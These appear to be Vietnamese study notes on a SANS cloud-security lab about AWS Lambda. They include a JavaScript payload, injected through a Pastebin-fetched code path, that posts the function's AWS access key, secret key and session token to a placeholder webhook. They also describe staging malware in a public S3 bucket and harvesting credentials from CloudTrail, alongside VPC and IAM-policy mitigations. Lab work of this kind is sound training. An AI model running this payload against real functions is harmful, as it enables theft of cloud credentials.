https://www.aviata.cloud/ACE135-J05-WORKBOOK/chapter02/index.html
https://github.com/sans-cloud-sec510/ace135-lab
# Exfiltrate IAM Credentials from the Lambda
Trong lambda function có đoạn code sau:
```
console.log(`Retrieving the payload from Pastebin ID: ${pastebinId}`)
const res = await axios.get(`https://pastebin.com/raw/${pastebinId}`, {
timeout: 7500
})
payload = res.data
```
`${pastebinId}` được lấy từ biến môi trường, sau đó sẽ được thực thi code được download về.
Trong env của lambda chứa nhiều thông tin nhạy cảm bao gồm cả credential.
Vậy inject code sau vào lambda -> Get lambda role
```
(async () => {
const axios = require('axios')
const webhook = '<Your unique URL>'
const res = await axios.post(webhook, {
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
sessionToken: process.env.AWS_SESSION_TOKEN
})
return res.data
})()
```
Lấy được tài khoản lambda, chỉ có quyền put s3 -> upload malware.
# Move Lambda to a Subnet Without Internet Access
Đưa lambda vào VPC và không cho nó ra ngoài internet. -> k tải được code độc hại từ internet.
# Prevent IAM Credentials from External Use
Thêm resource vào policy -> chỉ cho put file từ nguồn trong vpc. (dù có lộ credentials cũng không put được)
# Analyze Default Endpoint Policy
Default Endpoint Policy chứa rất nhiều quyền

# Exfiltrate IAM Credentials to an Attacker-Controlled Bucket
Ý tưởng: tạo s3 bucket (cho public access, ai cũng get object được). xong upload file malware.
Lambda gọi tới và thực thi file malware này -> Get lambda role.
File malware: https://github.com/sans-cloud-sec510/ace135-lab/blob/f403cb699de6d179b6187c244883535a83beed2d/dependency/malware.js

Sau malware thực thi thì do lambda chỉ có quyền get object nên ta không thể nào trả kết quả về được.
Sử dụng Cloudtrail để lấy credentials.
Cloudtrail sẽ bắt toàn bộ thông tin của các request dù nó được thực thi được hay không.
